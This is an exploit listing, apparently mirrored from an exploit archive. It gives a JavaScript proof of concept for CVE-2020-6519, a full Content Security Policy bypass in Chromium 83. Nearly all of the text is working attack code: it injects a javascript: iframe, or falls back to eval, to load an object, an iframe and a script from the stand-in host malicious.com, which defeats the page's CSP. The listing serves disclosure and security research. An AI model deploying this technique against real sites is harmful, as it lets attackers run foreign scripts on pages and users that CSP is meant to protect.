Exploit for Chromium 83 CSP Bypass CVE-2020-6519

## https://sploitus.com/exploit?id=PACKETSTORM:160353
#Title: Chromium 83 - Full CSP Bypass  
#Date: 02/09/2020  
#Exploit Author: Gal Weizman  
#Vendor Homepage: https://www.chromium.org/   
#Software Link: https://download-chromium.appspot.com/  
#Version: 83  
#Tested On: Mac OS, Windows, iPhone, Android  
#CVE: CVE-2020-6519  
  
(function(){  
  
var payload = `  
top.SUCCESS = true;  
var o = document.createElement("object");  
o.data = \`http://malicious.com/bypass-object-src.html\`;  
document.body.appendChild(o);  
var i = document.createElement("iframe");  
i.src = \`http://malicious.com/bypass-child-src.html\`;  
document.body.appendChild(i);  
var s = document.createElement("script");  
s.src = \`http://malicious.com/bypass-script-src.js\`;  
document.body.appendChild(s);  
`;  
  
document.body.innerHTML+="<iframe id='XXX' src='javascript:" + payload +"'></iframe>";  
setTimeout(() => {  
if (!top.SUCCESS) {  
XXX.contentWindow.eval(payload);  
}  
});  
  
}())  
  
// further information: https://github.com/weizman/CVE-2020-6519